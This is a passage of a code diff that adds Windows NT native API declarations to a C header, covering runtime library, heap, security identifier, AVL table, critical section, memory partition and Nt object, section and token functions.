SIZE_T MaximumStackSize, + _In_opt_ SIZE_T InitialStackSize, + _In_ PUSER_THREAD_START_ROUTINE StartAddress, + _In_opt_ PVOID Parameter, + _Out_opt_ PHANDLE Thread, + _Out_opt_ PCLIENT_ID ClientId + ); + +VOID NTAPI RtlExitUserThread( + IN NTSTATUS ExitStatus + ); + +VOID NTAPI RtlFreeUserThreadStack( + HANDLE hProcess, + HANDLE hThread + ); + +ULONG NTAPI RtlRandomEx( + _Inout_ PULONG Seed + ); + +PVOID NTAPI RtlAddVectoredExceptionHandler( + _In_ ULONG First, + _In_ PVECTORED_EXCEPTION_HANDLER Handler + ); + +ULONG NTAPI RtlRemoveVectoredExceptionHandler( + _In_ PVOID Handle + ); + +VOID NTAPI RtlRaiseException( + _In_ PEXCEPTION_RECORD + ); + +VOID NTAPI RtlPushFrame( + _In_ PTEB_ACTIVE_FRAME Frame + ); + +VOID NTAPI RtlPopFrame( + _In_ PTEB_ACTIVE_FRAME Frame + ); + +PTEB_ACTIVE_FRAME NTAPI RtlGetFrame( + VOID + ); + +BOOLEAN NTAPI RtlCreateUnicodeString( + _Out_ PUNICODE_STRING DestinationString, + _In_ PCWSTR SourceString + ); + +VOID NTAPI RtlInitUnicodeString( + _Inout_ PUNICODE_STRING DestinationString, + _In_opt_ PCWSTR SourceString + ); + +BOOLEAN NTAPI RtlEqualUnicodeString( + _In_ PCUNICODE_STRING String1, + _In_ PCUNICODE_STRING String2, + _In_ BOOLEAN CaseInSensitive + ); + +BOOLEAN NTAPI RtlPrefixUnicodeString( + _In_ PCUNICODE_STRING String1, + _In_ PCUNICODE_STRING String2, + _In_ BOOLEAN CaseInSensitive + ); + +NTSTATUS NTAPI RtlGetVersion( + _Inout_ PRTL_OSVERSIONINFOW lpVersionInformation + ); + +ULONG NTAPI RtlNtStatusToDosError( + _In_ NTSTATUS Status + ); + +NTSTATUS NTAPI RtlGetOwnerSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PSID *Owner, + _Out_ PBOOLEAN OwnerDefaulted + ); + +NTSTATUS NTAPI RtlGetGroupSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PSID *Group, + _Out_ PBOOLEAN GroupDefaulted + ); + +NTSTATUS NTAPI RtlGetDaclSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PBOOLEAN DaclPresent, + _Out_ PACL *Dacl, + _Out_ PBOOLEAN DaclDefaulted + ); + +NTSTATUS NTAPI RtlGetSaclSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PBOOLEAN SaclPresent, + _Out_ PACL *Sacl, + _Out_ PBOOLEAN SaclDefaulted + ); + +ULONG NTAPI RtlLengthSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor + ); + +VOID NTAPI RtlMapGenericMask( + _In_ PACCESS_MASK AccessMask, + _In_ PGENERIC_MAPPING GenericMapping + ); + +VOID NTAPI RtlInitString( + PSTRING DestinationString, + PCSZ SourceString + ); + +NTSTATUS NTAPI RtlExpandEnvironmentStrings( + _In_opt_ PVOID Environment, + _In_reads_(SrcLength) PWSTR Src, + _In_ SIZE_T SrcLength, + _Out_writes_opt_(DstLength) PWSTR Dst, + _In_ SIZE_T DstLength, + _Out_opt_ PSIZE_T ReturnLength + ); + +NTSTATUS NTAPI RtlExpandEnvironmentStrings_U( + _In_opt_ PVOID Environment, + _In_ PCUNICODE_STRING Source, + _Out_ PUNICODE_STRING Destination, + _Out_opt_ PULONG ReturnedLength + ); + +VOID NTAPI RtlSetLastWin32Error( + LONG Win32Error + ); + +NTSTATUS NTAPI RtlWow64EnableFsRedirection( + _In_ BOOLEAN Wow64FsEnableRedirection + ); + +NTSTATUS NTAPI RtlWow64EnableFsRedirectionEx( + _In_ PVOID DisableFsRedirection, + _Out_ PVOID *OldFsRedirectionLevel + ); + +PVOID NTAPI RtlEncodePointer( + PVOID Ptr + ); + +PVOID NTAPI RtlDecodePointer( + PVOID Ptr + ); + +typedef NTSTATUS +(NTAPI * PRTL_HEAP_COMMIT_ROUTINE)( + IN PVOID Base, + IN OUT PVOID *CommitAddress, + IN OUT PSIZE_T CommitSize + ); + +typedef struct _RTL_HEAP_PARAMETERS { + ULONG Length; + SIZE_T SegmentReserve; + SIZE_T SegmentCommit; + SIZE_T DeCommitFreeBlockThreshold; + SIZE_T DeCommitTotalFreeThreshold; + SIZE_T MaximumAllocationSize; + SIZE_T VirtualMemoryThreshold; + SIZE_T InitialCommit; + SIZE_T InitialReserve; + PRTL_HEAP_COMMIT_ROUTINE CommitRoutine; + SIZE_T Reserved[2]; +} RTL_HEAP_PARAMETERS, *PRTL_HEAP_PARAMETERS; + +PVOID NTAPI RtlCreateHeap( + _In_ ULONG Flags, + _In_opt_ PVOID HeapBase, + _In_opt_ SIZE_T ReserveSize, + _In_opt_ SIZE_T CommitSize, + _In_opt_ PVOID Lock, + _In_opt_ PRTL_HEAP_PARAMETERS Parameters + ); + +PVOID NTAPI RtlDestroyHeap( + _In_ PVOID HeapHandle + ); + +PVOID NTAPI RtlAllocateHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ SIZE_T Size + ); + +BOOLEAN NTAPI RtlFreeHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ PVOID BaseAddress + ); + +BOOLEAN NTAPI RtlValidSid( + PSID Sid + ); + +BOOLEAN NTAPI RtlEqualSid( + PSID Sid1, + PSID Sid2 + ); + +BOOLEAN NTAPI RtlEqualPrefixSid( + PSID Sid1, + PSID Sid2 + ); + +ULONG NTAPI RtlLengthRequiredSid( + ULONG SubAuthorityCount + ); + +PVOID NTAPI RtlFreeSid( + IN PSID Sid + ); + +NTSTATUS NTAPI RtlAllocateAndInitializeSid( + IN PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, + IN UCHAR SubAuthorityCount, + IN ULONG SubAuthority0, + IN ULONG SubAuthority1, + IN ULONG SubAuthority2, + IN ULONG SubAuthority3, + IN ULONG SubAuthority4, + IN ULONG SubAuthority5, + IN ULONG SubAuthority6, + IN ULONG SubAuthority7, + OUT PSID *Sid + ); + +NTSTATUS NTAPI RtlInitializeSid( + PSID Sid, + PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, + UCHAR SubAuthorityCount + ); + +PSID_IDENTIFIER_AUTHORITY NTAPI RtlIdentifierAuthoritySid( + PSID Sid + ); + +PULONG NTAPI RtlSubAuthoritySid( + PSID Sid, + ULONG SubAuthority + ); + +PUCHAR NTAPI RtlSubAuthorityCountSid( + PSID Sid + ); + +ULONG NTAPI RtlLengthSid( + PSID Sid + ); + +NTSTATUS NTAPI RtlCopySid( + ULONG DestinationSidLength, + PSID DestinationSid, + PSID SourceSid + ); + +NTSTATUS NTAPI RtlCopySidAndAttributesArray( + ULONG ArrayLength, + PSID_AND_ATTRIBUTES Source, + ULONG TargetSidBufferSize, + PSID_AND_ATTRIBUTES TargetArrayElement, + PSID TargetSid, + PSID *NextTargetSid, + PULONG RemainingTargetSidSize + ); + +NTSTATUS NTAPI RtlLengthSidAsUnicodeString( + PSID Sid, + PULONG StringLength + ); + +NTSTATUS NTAPI RtlConvertSidToUnicodeString( + PUNICODE_STRING UnicodeString, + PSID Sid, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS NTAPI RtlCreateSecurityDescriptor( + PSECURITY_DESCRIPTOR SecurityDescriptor, + ULONG Revision + ); + +NTSTATUS NTAPI RtlSetOwnerSecurityDescriptor( + PSECURITY_DESCRIPTOR SecurityDescriptor, + PSID Owner, + BOOLEAN OwnerDefaulted + ); + +FORCEINLINE LUID +NTAPI +RtlConvertLongToLuid( + LONG Long + ) +{ + LUID TempLuid; + LARGE_INTEGER TempLi; + + TempLi.QuadPart = Long; + TempLuid.LowPart = TempLi.LowPart; + TempLuid.HighPart = TempLi.HighPart; + return(TempLuid); +} + +NTSTATUS NTAPI RtlFormatCurrentUserKeyPath( + _Out_ PUNICODE_STRING CurrentUserKeyPath + ); + +VOID NTAPI RtlFreeUnicodeString( + PUNICODE_STRING UnicodeString + ); + +VOID NTAPI RtlFreeAnsiString( + PANSI_STRING AnsiString + ); + +NTSTATUS NTAPI RtlAnsiStringToUnicodeString( + PUNICODE_STRING DestinationString, + PCANSI_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +BOOLEAN NTAPI RtlDosPathNameToNtPathName_U( + _In_ PCWSTR DosFileName, + _Out_ PUNICODE_STRING NtFileName, + _Out_opt_ PWSTR *FilePart, + PVOID Reserved + ); + +NTSTATUS NTAPI RtlGetCompressionWorkSpaceSize( + _In_ USHORT CompressionFormatAndEngine, + _Out_ PULONG CompressBufferWorkSpaceSize, + _Out_ PULONG CompressFragmentWorkSpaceSize + ); + +NTSTATUS NTAPI RtlCompressBuffer( + _In_ USHORT CompressionFormatAndEngine, + _In_ PUCHAR UncompressedBuffer, + _In_ ULONG UncompressedBufferSize, + _Out_ PUCHAR CompressedBuffer, + _In_ ULONG CompressedBufferSize, + _In_ ULONG UncompressedChunkSize, + _Out_ PULONG FinalCompressedSize, + _In_ PVOID WorkSpace + ); + +NTSTATUS NTAPI RtlDecompressBuffer( + _In_ USHORT CompressionFormat, + _Out_ PUCHAR UncompressedBuffer, + _In_ ULONG UncompressedBufferSize, + _In_ PUCHAR CompressedBuffer, + _In_ ULONG CompressedBufferSize, + _Out_ PULONG FinalUncompressedSize + ); + +PIMAGE_NT_HEADERS NTAPI RtlImageNtHeader( + _In_ PVOID Base + ); + +NTSYSAPI PVOID NTAPI RtlAddressInSectionTable( + _In_ PIMAGE_NT_HEADERS NtHeaders, + _In_ PVOID BaseOfImage, + _In_ ULONG VirtualAddress + ); + +PVOID NTAPI RtlImageDirectoryEntryToData( + PVOID BaseOfImage, + BOOLEAN MappedAsImage, + USHORT DirectoryEntry, + PULONG Size + ); + +VOID NTAPI RtlSecondsSince1970ToTime( + ULONG ElapsedSeconds, + PLARGE_INTEGER Time + ); + +VOID NTAPI RtlSecondsSince1980ToTime( + ULONG ElapsedSeconds, + PLARGE_INTEGER Time + ); + +BOOLEAN NTAPI RtlTimeToSecondsSince1980( + PLARGE_INTEGER Time, + PULONG ElapsedSeconds + ); + +VOID NTAPI RtlTimeToTimeFields( + _Inout_ PLARGE_INTEGER Time, + _Inout_ PTIME_FIELDS TimeFields + ); + +BOOLEAN NTAPI RtlTimeFieldsToTime( + PTIME_FIELDS TimeFields, + PLARGE_INTEGER Time + ); + +ULONG32 NTAPI RtlComputeCrc32( + _In_ ULONG32 PartialCrc, + _In_ PVOID Buffer, + _In_ ULONG Length + ); + +VOID NTAPI RtlGetNtVersionNumbers( + _Out_opt_ PULONG MajorVersion, + _Out_opt_ PULONG MinorVersion, + _Out_opt_ PULONG BuildNumber + ); + +PPEB NTAPI RtlGetCurrentPeb( + VOID + ); + +PWSTR NTAPI RtlIpv4AddressToStringW( + __in const struct in_addr *Addr, + __out_ecount(16) PWSTR S + ); + +NTSTATUS NTAPI RtlAdjustPrivilege( + ULONG Privilege, + BOOLEAN Enable, + BOOLEAN Client, + PBOOLEAN WasEnabled + ); + +// +// preallocated heap-growable buffers +// +typedef struct _RTL_BUFFER { + PUCHAR Buffer; + PUCHAR StaticBuffer; + SIZE_T Size; + SIZE_T StaticSize; + SIZE_T ReservedForAllocatedSize; // for future doubling + PVOID ReservedForIMalloc; // for future pluggable growth +} RTL_BUFFER, *PRTL_BUFFER; + +typedef struct _RTL_UNICODE_STRING_BUFFER { + UNICODE_STRING String; + RTL_BUFFER ByteBuffer; + UCHAR MinimumStaticBufferForTerminalNul[sizeof(WCHAR)]; +} RTL_UNICODE_STRING_BUFFER, *PRTL_UNICODE_STRING_BUFFER; + +NTSTATUS NTAPI RtlNtPathNameToDosPathName( + _In_ ULONG Flags, + _Inout_ PRTL_UNICODE_STRING_BUFFER Path, + _Out_opt_ PULONG Disposition, + _Inout_opt_ PWSTR* FilePart + ); + +ULONG NTAPI RtlIsDosDeviceName_U( + PCWSTR DosFileName + ); + +ULONG NTAPI RtlGetFullPathName_U( + __in PCWSTR lpFileName, + __in ULONG nBufferLength, + __out_bcount(nBufferLength) PWSTR lpBuffer, + __out_opt PWSTR *lpFilePart + ); + +typedef enum _RTL_PATH_TYPE { + RtlPathTypeUnknown, // 0 + RtlPathTypeUncAbsolute, // 1 + RtlPathTypeDriveAbsolute, // 2 + RtlPathTypeDriveRelative, // 3 + RtlPathTypeRooted, // 4 + RtlPathTypeRelative, // 5 + RtlPathTypeLocalDevice, // 6 + RtlPathTypeRootLocalDevice // 7 +} RTL_PATH_TYPE; + +RTL_PATH_TYPE NTAPI RtlDetermineDosPathNameType_U( + PCWSTR DosFileName + ); + +#define HASH_STRING_ALGORITHM_DEFAULT (0) +#define HASH_STRING_ALGORITHM_X65599 (1) +#define HASH_STRING_ALGORITHM_INVALID (0xffffffff) + +NTSTATUS NTAPI RtlHashUnicodeString( + _In_ const UNICODE_STRING *String, + _In_ BOOLEAN CaseInSensitive, + _In_ ULONG HashAlgorithm, + _Out_ PULONG HashValue +); + +ULONG DbgPrint( + _In_ PCH Format, + ... + ); + +/* +** Runtime Library API END +*/ + +/* +** Generic AVL API START +*/ +typedef ULONG CLONG; + +typedef enum _TABLE_SEARCH_RESULT { + TableEmptyTree, + TableFoundNode, + TableInsertAsLeft, + TableInsertAsRight +} TABLE_SEARCH_RESULT; + +typedef enum _RTL_GENERIC_COMPARE_RESULTS { + GenericLessThan, + GenericGreaterThan, + GenericEqual +} RTL_GENERIC_COMPARE_RESULTS; + +//typedef struct _RTL_AVL_TABLE RTL_AVL_TABLE; +//typedef struct PRTL_AVL_TABLE *_RTL_AVL_TABLE; + +typedef struct _RTL_BALANCED_LINKS { + struct _RTL_BALANCED_LINKS *Parent; + struct _RTL_BALANCED_LINKS *LeftChild; + struct _RTL_BALANCED_LINKS *RightChild; + CHAR Balance; + UCHAR Reserved[3]; +} RTL_BALANCED_LINKS, *PRTL_BALANCED_LINKS; + +typedef struct _RTL_AVL_TABLE { + RTL_BALANCED_LINKS BalancedRoot; + PVOID OrderedPointer; + ULONG WhichOrderedElement; + ULONG NumberGenericTableElements; + ULONG DepthOfTree; + PRTL_BALANCED_LINKS RestartKey; + ULONG DeleteCount; + FARPROC CompareRoutine; + FARPROC AllocateRoutine; + FARPROC FreeRoutine; + PVOID TableContext; +} RTL_AVL_TABLE, *PRTL_AVL_TABLE; + + +typedef RTL_GENERIC_COMPARE_RESULTS(NTAPI *PRTL_AVL_COMPARE_ROUTINE)( + _In_ _RTL_AVL_TABLE *Table, + _In_ PVOID FirstStruct, + _In_ PVOID SecondStruct + ); + +typedef PVOID(NTAPI *PRTL_AVL_ALLOCATE_ROUTINE)( + _In_ _RTL_AVL_TABLE *Table, + _In_ ULONG ByteSize + ); + +typedef VOID(NTAPI *PRTL_AVL_FREE_ROUTINE)( + _In_ _RTL_AVL_TABLE *Table, + _In_ _Post_invalid_ PVOID Buffer + ); + +typedef NTSTATUS(NTAPI *PRTL_AVL_MATCH_FUNCTION)( + _In_ _RTL_AVL_TABLE *Table, + _In_ PVOID UserData, + _In_ PVOID MatchData + ); + +VOID NTAPI RtlInitializeGenericTableAvl( + _Out_ PRTL_AVL_TABLE Table, + _In_ PRTL_AVL_COMPARE_ROUTINE CompareRoutine, + _In_ PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine, + _In_ PRTL_AVL_FREE_ROUTINE FreeRoutine, + _In_opt_ PVOID TableContext + ); + +PVOID NTAPI RtlInsertElementGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_reads_bytes_(BufferSize) PVOID Buffer, + _In_ CLONG BufferSize, + _Out_opt_ PBOOLEAN NewElement + ); + +PVOID NTAPI RtlInsertElementGenericTableFullAvl( + _In_ PRTL_AVL_TABLE Table, + _In_reads_bytes_(BufferSize) PVOID Buffer, + _In_ CLONG BufferSize, + _Out_opt_ PBOOLEAN NewElement, + _In_ PVOID NodeOrParent, + _In_ TABLE_SEARCH_RESULT SearchResult + ); + +BOOLEAN NTAPI RtlDeleteElementGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ PVOID Buffer + ); + +PVOID NTAPI RtlLookupElementGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ PVOID Buffer + ); + +PVOID NTAPI RtlLookupElementGenericTableFullAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ PVOID Buffer, + _Out_ PVOID *NodeOrParent, + _Out_ TABLE_SEARCH_RESULT *SearchResult + ); + +PVOID NTAPI RtlEnumerateGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ BOOLEAN Restart + ); + +PVOID NTAPI RtlEnumerateGenericTableWithoutSplayingAvl( + _In_ PRTL_AVL_TABLE Table, + _Inout_ PVOID *RestartKey + ); + +PVOID NTAPI RtlLookupFirstMatchingElementGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ PVOID Buffer, + _Out_ PVOID *RestartKey + ); + +PVOID NTAPI RtlEnumerateGenericTableLikeADirectory( + _In_ PRTL_AVL_TABLE Table, + _In_opt_ PRTL_AVL_MATCH_FUNCTION MatchFunction, + _In_opt_ PVOID MatchData, + _In_ ULONG NextFlag, + _Inout_ PVOID *RestartKey, + _Inout_ PULONG DeleteCount, + _In_ PVOID Buffer + ); + +PVOID NTAPI RtlGetElementGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ ULONG I + ); + +ULONG NTAPI RtlNumberGenericTableElementsAvl( + _In_ PRTL_AVL_TABLE Table + ); + +BOOLEAN NTAPI RtlIsGenericTableEmptyAvl( + _In_ PRTL_AVL_TABLE Table + ); + +/* +** Generic Avl END +*/ + +/* +** Critical Section START +*/ +#define LOGICAL ULONG + +NTSTATUS NTAPI RtlEnterCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection + ); + +NTSTATUS NTAPI RtlLeaveCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection + ); + +LOGICAL NTAPI RtlIsCriticalSectionLocked( + IN PRTL_CRITICAL_SECTION CriticalSection + ); + +LOGICAL NTAPI RtlIsCriticalSectionLockedByThread( + IN PRTL_CRITICAL_SECTION CriticalSection + ); + +ULONG NTAPI RtlGetCriticalSectionRecursionCount( + IN PRTL_CRITICAL_SECTION CriticalSection + ); + +LOGICAL NTAPI RtlTryEnterCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection + ); + +NTSTATUS NTAPI RtlInitializeCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection + ); + +VOID NTAPI RtlEnableEarlyCriticalSectionEventCreation( + VOID + ); + +NTSTATUS NTAPI RtlInitializeCriticalSectionAndSpinCount( + PRTL_CRITICAL_SECTION CriticalSection, + ULONG SpinCount + ); + +ULONG NTAPI RtlSetCriticalSectionSpinCount( + PRTL_CRITICAL_SECTION CriticalSection, + ULONG SpinCount + ); + +NTSTATUS NTAPI RtlDeleteCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection + ); + +/* +** Critical Section END +*/ + +/* +** UAC Elevation Start +*/ + +#define DBG_FLAG_ELEVATION_ENABLED 1 +#define DBG_FLAG_VIRTUALIZATION_ENABLED 2 +#define DBG_FLAG_INSTALLER_DETECT_ENABLED 3 + +NTSTATUS NTAPI RtlQueryElevationFlags( + _Inout_ ULONG *ElevationFlags + ); + +/* +** UAC Elevation END +*/ + + +/* +* Memory parition START +*/ + +typedef enum _MEMORY_PARTITION_INFORMATION_CLASS { + SystemMemoryPartitionInformation, + SystemMemoryPartitionMoveMemory, + SystemMemoryPartitionAddPagefile, + SystemMemoryPartitionCombineMemory, + SystemMemoryPartitionInitialAddMemory +} MEMORY_PARTITION_INFORMATION_CLASS; + +typedef struct _MEMORY_PARTITION_PAGE_RANGE { + ULONG_PTR StartPage; + ULONG_PTR NumberOfPages; +} MEMORY_PARTITION_PAGE_RANGE, *PMEMORY_PARTITION_PAGE_RANGE; + +typedef struct _MEMORY_PARTITION_INITIAL_ADD_INFORMATION { + ULONG Flags; + ULONG NumberOfRanges; + ULONG_PTR NumberOfPagesAdded; + MEMORY_PARTITION_PAGE_RANGE PartitionRanges[1]; +} MEMORY_PARTITION_INITIAL_ADD_INFORMATION, *PMEMORY_PARTITION_INITIAL_ADD_INFORMATION; + +typedef struct _MEMORY_PARTITION_PAGE_COMBINE_INFORMATION { + PVOID StopHandle; + ULONG Flags; + ULONG_PTR TotalNumberOfPages; +} MEMORY_PARTITION_PAGE_COMBINE_INFORMATION, *PMEMORY_PARTITION_PAGE_COMBINE_INFORMATION; + +typedef struct _MEMORY_PARTITION_PAGEFILE_INFORMATION { + UNICODE_STRING PageFileName; + LARGE_INTEGER MinimumSize; + LARGE_INTEGER MaximumSize; + ULONG Flags; +} MEMORY_PARTITION_PAGEFILE_INFORMATION, *PMEMORY_PARTITION_PAGEFILE_INFORMATION; + +typedef struct _MEMORY_PARTITION_TRANSFER_INFORMATION { + ULONG_PTR NumberOfPages; + ULONG NumaNode; + ULONG Flags; +} MEMORY_PARTITION_TRANSFER_INFORMATION, *PMEMORY_PARTITION_TRANSFER_INFORMATION; + +typedef struct _MEMORY_PARTITION_CONFIGURATION_INFORMATION { + ULONG Flags; + ULONG NumaNode; + ULONG Channel; + ULONG NumberOfNumaNodes; + ULONG_PTR ResidentAvailablePages; + ULONG_PTR CommittedPages; + ULONG_PTR CommitLimit; + ULONG_PTR PeakCommitment; + ULONG_PTR TotalNumberOfPages; + ULONG_PTR AvailablePages; + ULONG_PTR ZeroPages; + ULONG_PTR FreePages; + ULONG_PTR StandbyPages; +} MEMORY_PARTITION_CONFIGURATION_INFORMATION, *PMEMORY_PARTITION_CONFIGURATION_INFORMATION; + +NTSTATUS NTAPI NtOpenPartition( + _Out_ PHANDLE PartitionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtManagePartition( + _In_ HANDLE TargetHandle, + _In_ HANDLE SourceHandle, + _In_ MEMORY_PARTITION_INFORMATION_CLASS PartitionInformationClass, + _Inout_ PVOID PartitionInformation, + _In_ SIZE_T PartitionInformationLength + ); + +NTSTATUS NTAPI NtCreatePartition( + _Out_ PHANDLE PartitionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG PreferredNode + ); + +/* +* Memory partition END +*/ + +/* +** Native API START +*/ + +NTSTATUS NTAPI NtClose( + _In_ HANDLE Handle + ); + +NTSTATUS NTAPI NtCreateDirectoryObject( + _Out_ PHANDLE DirectoryHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtCreateDirectoryObjectEx( + _Out_ PHANDLE DirectoryHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ShadowDirectoryHandle, + _In_ ULONG Flags + ); + +NTSTATUS NTAPI NtOpenDirectoryObject( + _Out_ PHANDLE DirectoryHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtQueryDirectoryObject( + _In_ HANDLE DirectoryHandle, + _Out_opt_ PVOID Buffer, + _In_ ULONG Length, + _In_ BOOLEAN ReturnSingleEntry, + _In_ BOOLEAN RestartScan, + _Inout_ PULONG Context, + PULONG ReturnLength + ); + +NTSTATUS NTAPI NtQueryObject( + _In_opt_ HANDLE Handle, + _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass, + _Out_opt_ PVOID ObjectInformation, + _In_ ULONG ObjectInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS WINAPI NtQuerySystemInformation( + _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, + _Inout_ PVOID SystemInformation, + _In_ ULONG SystemInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtSetSystemInformation( + _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, + _In_opt_ PVOID SystemInformation, + _In_ ULONG SystemInformationLength + ); + +NTSTATUS NTAPI NtCreateMutant( + _Out_ PHANDLE MutantHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ BOOLEAN InitialOwner + ); + +NTSTATUS NTAPI NtOpenMutant( + _Out_ PHANDLE MutantHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtQueryMutant( + _In_ HANDLE MutantHandle, + _In_ MUTANT_INFORMATION_CLASS MutantInformationClass, + _Out_ PVOID MutantInformation, + _In_ ULONG MutantInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtReleaseMutant( + _In_ HANDLE MutantHandle, + _Out_opt_ PLONG PreviousCount + ); + +NTSTATUS NTAPI NtCreateTimer( + _In_ PHANDLE TimerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ TIMER_TYPE TimerType + ); + +NTSTATUS NtSetTimer( + _In_ HANDLE TimerHandle, + _In_ PLARGE_INTEGER DueTime, + _In_opt_ PTIMER_APC_ROUTINE TimerApcRoutine, + _In_opt_ PVOID TimerContext, + _In_ BOOLEAN WakeTimer, + _In_opt_ LONG Period, + _Out_opt_ PBOOLEAN PreviousState + ); + +NTSTATUS NTAPI NtOpenTimer( + _In_ PHANDLE TimerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtQueryTimer( + _In_ HANDLE TimerHandle, + _In_ TIMER_INFORMATION_CLASS TimerInformationClass, + _Out_ PVOID TimerInformation, + _In_ ULONG TimerInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtCreateSymbolicLinkObject( + _Out_ PHANDLE LinkHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ PUNICODE_STRING LinkTarget + ); + +NTSTATUS WINAPI NtOpenSymbolicLinkObject( + _Out_ PHANDLE LinkHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtQuerySymbolicLinkObject( + _In_ HANDLE LinkHandle, + _Inout_ PUNICODE_STRING LinkTarget, + _Out_opt_ PULONG ReturnedLength + ); + +NTSTATUS NTAPI NtQuerySemaphore( + _In_ HANDLE SemaphoreHandle, + _In_ SEMAPHORE_INFORMATION_CLASS SemaphoreInformationClass, + _Out_ PVOID SemaphoreInformation, + _In_ ULONG SemaphoreInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtQueryDirectoryFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_ PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass, + _In_ BOOLEAN ReturnSingleEntry, + _In_opt_ PUNICODE_STRING FileName, + _In_ BOOLEAN RestartScan + ); + +NTSTATUS NTAPI NtNotifyChangeDirectoryFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + __out_bcount(Length) PVOID Buffer, + _In_ ULONG Length, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree +); + +NTSTATUS NTAPI NtQuerySection( + _In_ HANDLE SectionHandle, + _In_ SECTION_INFORMATION_CLASS SectionInformationClass, + _Out_ PVOID SectionInformation, + _In_ SIZE_T SectionInformationLength, + _Out_opt_ PSIZE_T ReturnLength + ); + +NTSTATUS NtOpenSection( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtCreateSection( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PLARGE_INTEGER MaximumSize, + _In_ ULONG SectionPageProtection, + _In_ ULONG AllocationAttributes, + _In_opt_ HANDLE FileHandle + ); + +NTSTATUS NTAPI NtMapViewOfSection( + _In_ HANDLE SectionHandle, + _In_ HANDLE ProcessHandle, + __inout PVOID *BaseAddress, + _In_ ULONG_PTR ZeroBits, + _In_ SIZE_T CommitSize, + _Inout_opt_ PLARGE_INTEGER SectionOffset, + _Inout_ PSIZE_T ViewSize, + _In_ SECTION_INHERIT InheritDisposition, + _In_ ULONG AllocationType, + _In_ ULONG Win32Protect + ); + +NTSTATUS NTAPI NtUnmapViewOfSection( + _In_ HANDLE ProcessHandle, + _In_ PVOID BaseAddress + ); + +NTSTATUS NTAPI NtOpenProcessToken( + _In_ HANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _Out_ PHANDLE TokenHandle + ); + +NTSTATUS NTAPI NtDuplicateToken( + _In_ HANDLE ExistingTokenHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ BOOLEAN EffectiveOnly, + _In_ TOKEN_TYPE TokenType, + _Out_ PHANDLE NewTokenHandle + ); + +#define 